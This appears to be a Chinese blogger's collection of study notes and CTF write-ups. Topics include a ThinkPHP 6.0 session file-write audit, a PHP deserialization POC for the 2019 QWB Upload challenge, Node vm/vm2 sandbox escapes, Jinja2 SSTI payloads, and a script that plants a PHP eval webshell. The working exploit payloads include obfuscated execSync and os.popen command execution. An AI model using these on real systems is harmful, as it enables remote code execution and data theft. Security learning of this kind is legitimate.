comment=re.compile(r'div-gpt-ad-(.*?)-0',re.S)
comment1=comment.findall(str_txt)
print(comment1[0])

1.使用re正则表达式中的compile函数,在匹配内容的括号中写(.?)**
2.其中.\
?代表非贪心算法,表示精准的配对
3.在.*?的外面加个括号表示获取括号之间的信息
4.在(.*?)两边加上原文本中要匹配信息两旁的信息,例如要想获得字符串“abcdefg”中的cd,就要在(.*?)里面分别加上ab和efg
5.compile中使用的第二个参数是re.S,表示正则表达式会将这个字符串作为一个整体,包括”\n“,如果不使用re.S参数,则只在每一行内进行匹配,如果一行没有,就换下一行重新开始,不会跨行
6.compile()函数返回的是一个匹配对象,单独使用无意义,需要和
findall()**函数搭配使用,返回的是一个列表
————————————————

参考:https://blog.csdn.net/weixin_44346972/article/details/106746133

thinkphpv6.0代码审计

前言

正好做到一题thinkphp框架漏洞,于是决定自己审计一番~,正好学学如何入门

代码审计两种方式

1**.通读全文源码**
2.功能点审计:根据漏洞对应发生函数进行功能行审计,常会用到逆向溯源数据流方法进行审计
3.正向追踪数据流:根据用户输入参数->来到代码逻辑->最后审计代码逻辑缺陷->尝试构造payload
4.逆向溯源数据流:字符串搜索指定操作函数_跟踪函数可控参数->审计代码逻辑缺陷->尝试构造payload
CMS可分为两大类
单入口cms:不管访问哪个模块都使用同一个入口文件,常见的MVC框架采用这种模式
多入口cms:每个模块都有一个入口文件(可以前端设置一个入口文件 index.php,后端创建一个入口文件admin.php,前后端的入口文件是独立的)。

代码审计思路

接下来我们从三个层次开始我们的源码审计思路

1.确定要审计的源码是什么语言

2.确定该源码是单入口还是多入口

3.确定该语言的各种漏洞诞生的函数

PHP核心配置

一个漏洞在不同环境造成的结果也是不一样的。

由于关于php.ini配置的内容过于多,这里推荐浏览官方文档 https://www.php.net/manual/zh/ini.php,我们在这里主要列下php.ini 主要使用的安全配置。

  • safe_mode = off

用来限制文档的存取,限制环境变量的存取,控制外部程序的执行.PHP5.4.0移除。

  • 限制环境变量存取safe_mode_allowed_env_vars = string

指定php程序可以改变的环境变量的前缀,当这个选项的值为空时,那么php可以改变任何环境变量,如果 如:safe_mode_allowed_env_vars = PHP_,当这个选项的值为空时,那么php可以改变任何环境变量。

  • 外部程序执行目录safe_mode_exec_dir = "/usr/local/bin"

当安全模式被激活,safe_mode_exec_dir参数限制通过exec()函数执行的可执行文件到指定的目录。举例来说,如果你想限制在/usr/local/bin目录执行功能,你可以使用这个指令:

safe_mode_exec_dir = “/usr/local/bin”

  • 禁用函数

    disable_functions

为了更安全的运行PHP,可以用此指令来禁止一些敏感函数的使用,当你想用本指令禁止一些危险函数时,切记把dl()函数也加到禁止列表,攻击者可以利用dl()函数加载自定义的php扩展突破disable_functions.配置禁止函数时可以使用逗号分隔函数名。

  • COM组件com.allow_dcom = false

PHP设置在安全模式下(safe_mode),仍允许攻击者使用COM()函数来创建系统组件来还行任意命令,推荐关闭这个函数。 使用COM()函数需要在PHP.ini中配置extension=php_com_dotnet.dll,如果PHPversion<5.4.5则不需要。

  • 全局变量注册开关register_globals = off

php.ini的register_globals选项的默认值为OFF,在4.2版本之前是默认开启的,当设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,这是对服务器分厂不安全的, register_globals = off时,服务器端获取数据的时候用$_GET[‘name’]来获取数据。 register_globals = on时,服务端使用POST或GET提交的变量,豆浆自动使用全局变量的值来接受。

  • 魔术引号自动过滤magic_quotes_gpc = on

PHP5.4.0被移除 magic_quotes_gpc = off 在php.ini中默认是关闭的,如果打开它,将自动把用户提交对sql的查询的语句进行转换,如果设置成ON,php会把所有的单引号,双引号,和反斜杠和空字符(NULL)加上反斜杠()进行转义 它会影响HTTP请求的数据(GET,POST.COOKIE),开启它会提高网站的安全性。

  • 是否允许包含远程文件allow_url_include = off

该配置为ON的情况下,可以直接包含远程文件,若包含的变量为可控的情况下,可以直接控制变量来执行PHP代码。

  • 是否允许打开远程文件allow_url_open = on

允许本地PHP文件通过调用url重写来打开或者关闭写权限,默认的封装协议提供的ftp和http协议来访问文件。

  • HTTP头部版本信息expose_php = off

防止通过http头泄漏php版本信息。

  • 文件上传临时目录upload_tmp_dir =

上传文件临时保存的目录,如果不设置的话,则采用系统的临时目录。

  • 用户可访问目录open_basedir = D:\WWW

能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问不应该访问的文件,一定程度上限制了。webshell的危害

  • 内部错误选项display_errors = on

表明实现PHP脚本的内部错误,网站发布后建议关不PHP的错误回显。

  • 错误报告级别error_reporting(E_ALL & ~Enotice)

具体列表推荐:https://www.runoob.com/php/func-error-reporting.html

这里设置的作用是将错误级别调到最高,显示所有问题,方便环境部署时候排错。

环境配置

人生建议,一定要安装phpstudy的集成环境–
更改配置的根目录为www(5)的web目录
img
修改为www/web/目录打开即可,接下来去配置一下数据库
img

去config中的database.php修改一下配置信息,然后去mysql中创建一下表

create database ctf;

但是他的很多表和库的信息我们都不清楚–。。。。所以还是老老实实重新安装整个框架了。。
https://www.kancloud.cn/manual/thinkphp6_0/1037481
这里降级的时候一直没弄好,不懂是为啥,用了其他的安装和降级指令才行

composer create-project topthink/think tp60

修改composer.json里面的”topthink/frameword”为6.0.0

img 去掉前面你的注释符,开启session 然后更改apache的根目录为框架里面的public目录 img 创建成功: img 果然最难的就是环境的配置-- 接下来修改一下:tp60\app\controller\的index.php文件使他可以创建session img

漏洞原理

根据漏洞描述,是因为session可控,传入的session值最后会拼接在sess_后形成任意文件读取覆盖,所以这里我们就直接跟进session值的传入。
img
进入session.php观察如何进行文件写入

img
跟进以后发现无过滤,只要长度符合32位就对sessionID进行赋值img

img
接下来进行save()函数进行session的保存,可以看到write函数,将data写入sessionID中
img

将sessionid和sess_进行拼接形成新的文件名存放在/runtime/session/路径中img

img

将传入的data值,写入改session文件中
img
img

但是由于我网站根目录设置的是public,懒得再弄了,被配置环境弄怕了–
img

img

小结

啊 无语了,想说换成phpstudy继承的,但是发现没有适合的php版本于是就又换了回去,期间debug的更换配置也是让人很头疼,最后瞎配置 也总算是配置好了–,真的是有点傻了
说一下第一次审计的收获
1.使用ctrl加鼠标左键可以直接看该函数的出现的位置
2.可以右键单击某个值添加观察追踪其改变位置
3.根据出问题的功能追踪其功能

2019强网杯upload

[强网杯 2019]Upload

www.tar.gz有他的源码,注册以后发现可以文件上传,审计一下他的文件上传功能:
将上传的文件的后缀更改为png

img

然后使用getimagesize检查文件头是否为图片

img

文件上传这里似乎没有太多机会,可能需要哪里辅助一下
这里有个反序列化函数,可以对profile进行赋值

img 底下有两个魔术方法: get:读取不可访问或不存在的属性时调用 call:调用不可访问或不存在的方法时调用 img

看了一下其他地方发现有个destruct方法
img

思路整理

1.文件上传的限制在于后缀名会被强制更改为png
2.可以对cookie的值进行反序列化,会触发get、call魔术方法调用不存在的属性和方法对profile进行重新赋值操作
3.如何将profile和更换文件后缀联系在一起呢?
——————————————————————
我们可以看到在upload_img()函数中有一个copy函数,将filename_tmp的值赋给了filename。那么思路就是这样:
1.先上传一个图片马
2.然后通过cookie传入反序列化内容,其中反序列化的思路应该是这样的:
为了使用call和get方法,所以我们要调用没有的属性和方法,profile.php中没有register中的方法,所以这里就可以先写一波:

$registed=new Register();
$registed->registed=false;
$registed->checker=$profiled;

接下来就会调用profile里面的get和call方法:
首先会调用call方法因为index方法不存在再profile类里面,因为我们的目的是利用call方法调用upload_img(),所以我们需要利用get方法对name赋值,由于get是调用不存在的属性,所以我们这里依旧是利用index来作为一个跳板置换成upload_img(),然后有几个判断是我们需要绕过的,其中包括检查ext是否为png

$profiled=new Profile();
$profiled->except=['index'=>'upload_img'];
$profiled->ext="png";
$profiled->filename="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8111.php";
$profiled->filename_tmp="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8383c2ba7b9a26c39fbe4c61bf398ed4.php";

完整的poc如下

<?php
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if ($this->{$name}) {
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profiled=new Profile();
$profiled->except=['index'=>'upload_img'];
$profiled->ext="png";
$profiled->filename="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8111.php";
$profiled->filename_tmp="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8383c2ba7b9a26c39fbe4c61bf398ed4.php";

$registed=new Register();
$registed->registed= false;
$registed->checker=$profiled;
echo urlencode(base64_encode(serialize($registed)));
?>

这是我在本地构建的,将所有用到的类整合到一个文件里面,方便进行调试查看赋值过程,否则还需要在开头再加上:

namespace app\web\controller;
error_reporting(0);

将序列化后的内容使用cookie传入即可,前提是先上传一个文件马

img img

论js的对象

前言

发现学习node.js的沙盒逃逸时,对象的概念也需要理解一下。

什么是js

js就是javascript,js里面一切皆对象,理解对象是理解js语言的关键

封装、继承、多态

在C++/Java等传统面向对象编程中,类(class)是对象(object)的模板,class不占用内存空间,object占用内存,object也称为class instance,同一个class可以被new出很多个object。

Javascript语言不支持”类”,但Javascript仍然是面向对象语言,面向对象的3要素在JavaScript里都支持:

  • 封装 - 数据与方法封装在一起,方法可以操作数据,这就是JS里的object
  • 继承 - 新创建的对象可以继承父对象的数据和方法,js里有多种方法实现继承,譬如原型方式继承,拷贝继承等
  • 多态 - 一个接口有多种实现

实际上,js里一切皆对象。

什么是对象

js里的对象(object)就是一组键值(name-value)的集合, name总是string类型, value可以是各种类型, 可以是基本数据类型, 可以是数组或其他对象, 也可以是函数, object很像是一个hash map. object里的name-value是无序的。

对象是动态的,可以动态地增加属性和方法。

对象属性

属性特性

每个属性都拥有4个特性,数据属性和访问器属性一共有6种属性特性:

  • 数据属性特有的特性:
    • [[Value]]: 属性的值.
    • [[Writable]]: 控制属性的值是否可以改变.
  • 访问器属性特有的特性:
    • [[Get]]: 存储着getter方法.
    • [[Set]]: 存储着setter方法.
  • 两种属性都有的特性:
    • [[Enumerable]]: 如果一个属性是不可枚举的,则在一些操作下,这个属性是不可见的,比如for…in和Object.keys()
    • [[Configurable]]: 如果一个属性是不可配置的,则该属性的所有特性(除了%%[[Value]]%%)都不可改变

对象的原型[[prototype]]

在js中所有对象都有一个隐含的属性[[prototype]]指向其原型对象,原型对象也有自己的原型,如此下去便形成一个原型链,所有对象的原型链的顶层都是Object.prototype.

请注意,[[prototype]]并不是一个真实的属性名,因此无法通过这个属性名获得原型对象,但js提供了方法来读取和判断对象的原型:

// 接前面的例子
console.log(Object.getPrototypeOf(myFather) === Person.prototype); //true
console.log(Person.prototype.isPrototypeOf(myFather)); //true
console.log(Person.prototype.isPrototypeOf(myMother)); //false

对象的原型链通常是只读的,用户无法修改某个对象的原型,所以无法修改对象的继承关系。

属性proto

在js规范里,对象原型通常是不可见的属性,因此无法直接访问。但某些浏览器里支持__proto__属性,firefox/chrome/safari/nodejs都支持__proto__属性,在这些浏览器里对象原型是可见的,可以直接访问对象的__proto__属性得到对象原型,也可以通过修改对象的__proto__属性来修改对象的原型链。

ECMAScript 6正在讨论把__proto__属性标准化,但目前属性__proto__还不是标准。

本文接下来提到的__proto__, [[prototype]]都是指一个意思,即自身对象里指向其原型对象的属性。

prototype

函数也是对象,所以函数也有属性__proto__,通过字面量声明的函数其原型对象是Function.prototype,当然Function.prototype的原型对象是Object.prototype.

函数还有一个特有的属性prototype,每个函数都有一个prototype属性(特别注意,prototype属性是函数对象特有的属性,不要和js中每个对象到其原型的连接相混淆,那个是隐藏的,只是在firefox/chrome等浏览器中你可以使用__proto__访问到)

constructor
Object.prototype.constructor

返回创建实例对象的 Object 构造函数的引用。注意,此属性的值是对函数本身的引用,而不是一个包含函数名称的字符串。对原始类型来说,如1true"test",该值只可读。

详情

所有对象都会从它的原型上继承一个constructor属性:

var o = {};
o.constructor === Object; // true
示例:
function Tree(name){
this.name=name;
}
var theTree=new Tree("Redwood");
console.log("theTree.constructor is "+the Tree.constructor);
//打印输出
theTree.constructor is function Tree(name) {
this.name = name;
}

小结

大概整理一下js的对象的一些基础概念,
1.每个对象都有[[prototype]]属性,是用来指向自己的原型对象
2.所有对象的[[prototype]]是_proto_,而函数有一个特有的属性是prototype
3.prototype有个属性是constructor指向其原型对象的,可以进行调用。

node.js沙盒逃逸分析

背景

在日常开发中,会在业务代码中直接使用eval/function/vm等功能,其中 eval/Function 算是动态执行 JS,但无法屏蔽当前执行环境的上下文,但node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。

沙盒简介

沙盒的特点在于很好的系统隔离性,在某种程度上,沙盒sandbox可以视为一个容器container,application运行在沙盒中,沙盒运行在windows操作系统上运行在沙盒中的application和沙盒外的application一样可以访问硬盘中的文件等资源。运行在沙盒中的application和沙盒外的application的主要区别在于:

  1. 对于沙盒外的application而言,沙盒内的application是透明的(即不可见的);

  2. 当沙盒内的application退出后,所做的更改将不会被保存

一个很好的例子是:当沙盒内的application退出后,沙盒内的application已下载或“安装”的恶意软件都将被丢弃。

总而言之,沙盒就是一个可以让你相对安全执行代码的环境

沙盒逃逸

首先来一段沙盒逃逸的实例,直接进行分析:

const vm = require('vm');
const ctx = {};
vm.runInNewContext('this.constructor.constructor("return process")().exit()', ctx);//vm.runInNewContext是编译和运行里面的javascript代码,其中的ctx似乎是可控的,而this指向了ctx
console.log('Never gets executed.');

以上事例大致可以拆分出:

tmp=ctx.constructor//object
exec=tmp.constructor//Function
exec('return Process')

以上被称为原型链的方式完成逃逸,个人感觉可以和继承的思想联系在一起,有点类似但是又不同,大概是通过往前引用原型链,引用到沙箱外的函数,从而实现逃逸

原理

img 根据这个图片进行讲解,就是在vm上下文通过原型链的prototype属性向上链接引用function,引用到全局数据实现在沙盒内进行沙盒外的function的调用。

实例分析

const vm = require('vm');

const context = {
animal: 'cat',
count: 2
};

const script = new vm.Script(`this`);
vm.createContext(context);
var result = script.runInContext(context);
console.log(result.Function == Function); //false

其中this通过其__proto__属性指向的是主环境的Object.prototype,所以:

this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()

1.通过this的原型链向上获得主环境的function
2.然后通过(‘return process’)()获得主环境process变量
3通过process.mainModule.require导入child_process模块,实现命令执行

知识补充

process变量:是nodejs中的一个全局变量,
拿到这个环境变量,相当于此时是在主环境下进行函数的执行,类似偷梁换柱?

child_process模块:提供了命令执行的方法

http://nodejs.cn/api/child_process.html#child_process_child_process
https://chinese.freecodecamp.org/forum/t/topic/587
https://liotree.github.io/2020/04/29/vm2%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%88%86%E6%9E%90/

python urllib库学习

基础介绍

原来这个和request这个库是同类型的库,它具有以下子模块,包括:
1.urllib.request打开后读取url内容
2.urllib.error包含由urllib.request抛出的异常类
3.urllib.parse解析url
4.urllib.robotparser解析robots.txt files

buuctf21

[CISCN2019 华东南区]Double Secret

猜出目录是secret,然后参数也是secret
接下来输入参数发现每次参数的回显是不一样,像是有某种加密发现输入的字符比较多的时候就会报错了

if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a

感觉这是其中一个比较有用的信息,涉及了解密内容

注意关键点:

a=render_template_string()函数说明可以渲染我们输入的参数,也就是说存在ssti注入

所以接下来的关键是利用rc4加密的密文,将我们的payload进行加密后输入,接下来就会自动进行解密,就会执行我们的payload了~

网上找的加密脚本:

import base64
from urllib import parse
def rc4_main(key="init_key",message="init_message"):
s_box=rc4_init_sbox(key)
crypt=str(rc4_excrypt(message,s_box))
return crypt
def rc4_init_sbox(key):
s_box=list(range(256))
j=0
for i in range(256):
j=(j+s_box[i]+ord(key[i%len(key)]))%256
s_box[i],s_box[j]=s_box[j],s_box[i]
return s_box
def rc4_excrypt(plain,box):
res=[]
i=j=0
for s in plain:
i=(i+1)%256
j=(j+box[i])%256
box[i],box[j]=box[j],box[i]
t=(box[i]+box[j])%256
k=box[t]
res.append(chr(ord(s)^k))
cipher="".join(res)
return(str(base64.b64encode(cipher.encode('utf-8')),'utf-8'))
key="HereIsTreasure"
message=input("请输入明文:\n")
enc_base64=rc4_main(key,message)
enc_init=str(base64.b64decode(enc_base64),'utf-8')
enc_url=parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)

用手打了一次,还是学到了些东西的
然后输入

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

即可查看到目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()")}}{% endif %}{% endfor %}

[HFCTF2020]JustEscape

下面有提示 让我们到run.php里面输出code于是——
img

以为是ssti注入所以输了点内容,发现后面出了这玩意?
error.stack 属性是一个字符串,描述代码中 Error 被实例化的位置
输入Error().stack
得到:

Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

可以发现是一个js的vm沙盒
直接找原型利用链来打就行

最新的沙箱逃逸的poc。
https://github.com/patriksimek/vm2/issues/225

 '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

但是因为有过滤,所以需要绕过,可以加上反引号进行绕过:

/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+%2fflag`)[`toString`]();%20}%20})()

还有一种方式是将关键字(比如prototyp)改为:${${prototyp}e}

(function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString(); } })()

payload分析:

刚学node.js的沙箱逃逸啥也编不出来,于是就用payload来分析一下

 '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

参考:

https://tothemoon2019.github.io/2020/10/21/%E7%AC%AC%20%E4%BA%94%20%E5%91%A8%20write%20up%20%5B%5BHFCTF2020%5DJustEscape%20%5BBJDCTF2020%5DEasySearch%20HCTF-2018-Web-warmup%5D/
https://github.com/patriksimek/vm2/issues/225

[NPUCTF2020]ezinclude

查看源码,看到cookie 直接传pass

img

然后进去,抓包才能看到其他信息img

看到文件包含就要想到伪协议!:

php://filter/read=convert.base64-encode/resource=flflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</htmlPgo

过滤了data和input不能用命令执行了,也不能直接写入文件

PHP7.0bug

php7.0的bug:

?file=php://filter/string.strip_tags/resource=/etc/passwd

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
import requests
##BytesIO实现了在内存中读写bytes
from io import BytesIO
import re
payload = "<?php eval($_POST[a]);?>"
#BytesIO(payload.encode()).getvalue()
data={
'file': BytesIO(payload.encode())
}
url="http://a06f9704-b58f-4b3a-b85c-5ad42d0b8833.node4.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=data,allow_redirects=False)
except:
print("fail!")

python运行脚本即可,然后读dir.php中看一下文件名,接下来使用文件包含即可
img